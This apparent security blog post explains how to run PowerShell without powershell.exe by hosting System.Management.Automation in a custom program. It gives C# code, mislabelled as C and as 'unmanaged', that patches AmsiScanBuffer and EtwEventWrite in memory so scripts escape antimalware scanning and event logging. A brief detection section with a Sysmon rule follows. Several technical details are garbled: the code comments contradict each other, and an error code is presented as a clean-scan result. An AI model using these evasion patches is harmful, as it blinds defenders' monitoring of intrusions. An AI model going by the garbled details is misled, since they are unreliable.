Listen to this Post

Introduction:
In the cat-and-mouse game of endpoint detection and response (EDR), attackers constantly evolve to bypass security controls. A sophisticated technique involves moving away from the ubiquitous `powershell.exe` host process and instead loading PowerShell’s core engine, System.Management.Automation.dll, directly into memory via unmanaged code. By loading this .NET assembly in an unmanaged context—such as a custom C++ or C application—an attacker can gain full PowerShell functionality while disabling Anti-Malware Scan Interface (AMSI) and Event Tracing for Windows (ETW) before they are ever initialized, effectively rendering many userland hooks inert and evading detection.
Learning Objectives:
- Understand the architectural difference between the PowerShell host process and its underlying .NET engine.
- Learn how to perform unmanaged PowerShell execution by loading `System.Management.Automation.dll` in C.
- Implement techniques to disable AMSI and ETW from an unmanaged context to evade common security monitoring.
You Should Know:
1. The Anatomy of PowerShell Execution
Traditional PowerShell scripts rely on powershell.exe. This process is heavily monitored; security products hook its API calls and scan the content of scripts via AMSI before execution. However, the actual logic for parsing and executing PowerShell commands resides in System.Management.Automation.dll. By creating a custom host that loads this DLL, we bypass the standard host process and its associated monitoring.
Step‑by‑step guide: Understanding the DLL
- Identify the Core: `System.Management.Automation.dll` is a .NET assembly located in the Global Assembly Cache (GAC). It contains the `Runspace` and `PowerShell` classes, which are the programmatic interfaces to the PowerShell engine.
- Concept of a Runspace: A runspace is the operating environment for the commands invoked by the PowerShell pipeline. It contains the session state, variables, and providers.
- Unmanaged vs. Managed: While PowerShell commands are .NET objects, a “managed” host is a .NET application. An “unmanaged” host (like a C++ application) must first host the .NET runtime to load this DLL, or use a .NET compiler to create a “managed” executable that does not rely on
powershell.exe. -
Loading PowerShell in a Custom C Host (The “Unmanaged” Method)
To execute PowerShell without spawningpowershell.exe, we create a simple C console application that references the necessary DLLs. This is effectively an “unmanaged” way of using PowerShell because the host process is our custom executable, not the default shell.
Step‑by‑step guide: Building the Custom Host
- Create a new C Console App in Visual Studio.
2. Add Required References:
- Right-click References > Add Reference > Browse.
- Navigate to
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation. - Select the DLL for your .NET framework version (e.g.,
v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll).
3. Write the Execution Code:
using System;
using System.Management.Automation; // Add this namespace
using System.Management.Automation.Runspaces;
namespace UnmanagedPS
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("[+] Creating custom runspace...");
// Create a default runspace (the PowerShell environment)
using (Runspace myRunspace = RunspaceFactory.CreateRunspace())
{
myRunspace.Open();
// Create a PowerShell pipeline
using (Pipeline pipeline = myRunspace.CreatePipeline())
{
// Add a command to the pipeline
pipeline.Commands.AddScript("Get-Process | Select-Object -First 5; Write-Host 'Executed from Unmanaged Host!' -ForegroundColor Green");
// Invoke the command
var results = pipeline.Invoke();
// Process results
foreach (var psObject in results)
{
Console.WriteLine(psObject.ToString());
}
}
myRunspace.Close();
}
Console.ReadLine();
}
}
}
4. Compile and Execute: Compile the project. The resulting `.exe` will run PowerShell code without ever launching powershell.exe, appearing in process lists as your custom application name.
3. Bypassing AMSI in the Unmanaged Context
AMSI is designed to allow antimalware products to inspect script content before execution. It is typically initialized when PowerShell starts. If we can patch or disable AMSI before we create the runspace, our malicious script may go unscanned.
Step‑by‑step guide: Patching AMSI via Memory Manipulation
- Locate the AMSI DLL: The scan functions are located in
amsi.dll. A common bypass is to patch the `AmsiScanBuffer` function to return `AMSI_RESULT_CLEAN` immediately.
2. Implement the Patch in C:
using System;
using System.Runtime.InteropServices;
namespace UnmanagedPS
{
class Program
{
// Import necessary Windows APIs
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
static void Main(string[] args)
{
// AMSI Patching Routine
Console.WriteLine("[+] Patching AmsiScanBuffer...");
IntPtr amsiDLL = GetModuleHandle("amsi.dll");
if (amsiDLL == IntPtr.Zero) return;
IntPtr amsiScanBufferAddr = GetProcAddress(amsiDLL, "AmsiScanBuffer");
if (amsiScanBufferAddr == IntPtr.Zero) return;
// Change memory protection to RWX
uint oldProtect;
VirtualProtect(amsiScanBufferAddr, 0x0015, 0x40, out oldProtect); // 0x40 = PAGE_EXECUTE_READWRITE
// Patch with XOR EAX, EAX; RET (32-bit) - For 64-bit, we need a different patch (e.g., MOV EAX, 0x80070057; RET)
// Simple 64-bit patch: MOV [RSP+8], RBX; MOV EAX, 0x80070057; RET (size 11 bytes)
// Example 64-bit patch (restores original bytes later):
byte[] patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // MOV EAX, 80070057h; RET (simplified)
// A more robust patch is to just set the first instruction to 'RET' (0xC3) on 64-bit? No, we need a valid return.
// Standard known patch for 64-bit: mov eax, 0x80070057 (AMSI_RESULT_CLEAN) and ret.
byte[] amsiPatch64 = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 80070057h; ret
Marshal.Copy(amsiPatch64, 0, amsiScanBufferAddr, amsiPatch64.Length);
// Restore protection (optional)
VirtualProtect(amsiScanBufferAddr, 0x0015, oldProtect, out _);
Console.WriteLine("[+] AMSI Patched. Proceeding with PowerShell execution...");
// End AMSI Patch
// PowerShell Runspace Code (from Section 2) goes here
// (Runspace creation and script execution)
}
}
}
Note: Patching techniques vary by architecture (x86/x64) and Windows version. This code is a conceptual example and must be adapted for a real engagement.
4. Disabling ETW for Deeper Stealth
ETW provides telemetry to security tools. If an attacker disables ETW for their process, defenders may miss critical logging related to .NET loading and PowerShell use.
Step‑by‑step guide: ETW Suppression
- Target
EtwEventWrite: ETW events from .NET are often routed through `ntdll.dll!EtwEventWrite` orclr.dll!EtwEventWrite. A common approach is to patch the first few bytes of `EtwEventWrite` with a `RET` instruction to effectively disable event logging for the current process.
2. Implement the Patch:
// Add this to the previous C example
static void DisableETW()
{
// Get handle to ntdll
IntPtr ntdll = GetModuleHandle("ntdll.dll");
if (ntdll == IntPtr.Zero) return;
// Get address of EtwEventWrite (or EtwEventWriteFull)
IntPtr etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
if (etwEventWrite == IntPtr.Zero) return;
// Change protection
uint oldProtect;
VirtualProtect(etwEventWrite, 1, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE
// Write a RET opcode (0xC3) to the beginning of the function
byte[] ret = { 0xC3 };
Marshal.Copy(ret, 0, etwEventWrite, 1);
// Restore protection
VirtualProtect(etwEventWrite, 1, oldProtect, out _);
Console.WriteLine("[+] ETW disabled (EtwEventWrite patched).");
}
// Call DisableETW(); before creating the runspace.
5. Detection and Mitigation (The Blue Team Perspective)
Understanding these tradecraft techniques is crucial for defense. Blue teams should not rely solely on detecting powershell.exe.
Step‑by‑step guide: Hunting for Unmanaged PowerShell
- Monitor Process Creation: Look for processes that load `System.Management.Automation.dll` but are not
powershell.exe. Use tools like Sysmon (Event ID 7 – DLL Load).
– Sysmon Config Rule:
<RuleGroup name="" groupRelation="or"> <DllLoad onmatch="include"> <Image condition="image"></Image> <ImageLoaded condition="contains">system.management.automation.dll</ImageLoaded> </DllLoad> </RuleGroup>
2. Correlate with Network Connections: Unmanaged PowerShell used for C2 may make unusual outbound connections. Investigate processes that load automation DLLs and subsequently initiate `http` or `dns` queries.
3. AMSI/ETW Patch Detection: EDR solutions can monitor for memory modifications to sensitive functions like `AmsiScanBuffer` and EtwEventWrite. Attempts to change protection flags on these memory pages (VirtualProtect) are high-fidelity alerts.
6. Linux/Cross-Platform Perspective (PowerShell Core)
PowerShell is not just a Windows technology. PowerShell Core (v6+) is cross-platform. On Linux, security mechanisms differ, but the concept of hosting the engine remains.
– Installation: `sudo apt-get install -y powershell` (on Debian/Ubuntu).
– Hosting on Linux: Using the same `System.Management.Automation` .NET assembly (via .NET Core), you can host PowerShell in a C application on Linux.
– Security Implications: While AMSI is Windows-specific, logging mechanisms like `syslog` can be targeted. Attackers might host PowerShell on Linux to interact with Windows systems remotely or to blend in with DevOps environments.
What Undercode Say:
- Key Takeaway 1: The absence of `powershell.exe` in a process list does not guarantee the absence of PowerShell execution. Defenders must monitor for anomalous DLL loads, specifically
System.Management.Automation.dll, in non-standard host processes. - Key Takeaway 2: Userland API hooking for security tools (AMSI/ETW) is fundamentally fragile. If an adversary can execute code before these hooks are initialized or patch them in memory, the entire security layer can be neutralized, emphasizing the need for kernel-level telemetry and behavioral analysis.
Prediction:
As EDRs become more adept at detecting memory patching, attackers will shift toward more elusive methods, such as utilizing pure .NET reflection to load and execute PowerShell script without ever touching disk or calling `LoadLibrary` on the DLL, or migrating these unmanaged hosting techniques to other, less-monitored scripting languages and runtimes like Python or Node.js embedded in custom binaries. This will force a move away from signature and hook-based detection toward AI-driven behavioral analysis of script execution patterns, regardless of the host process.
▶️ Related Video (94% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Saad Ahla – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


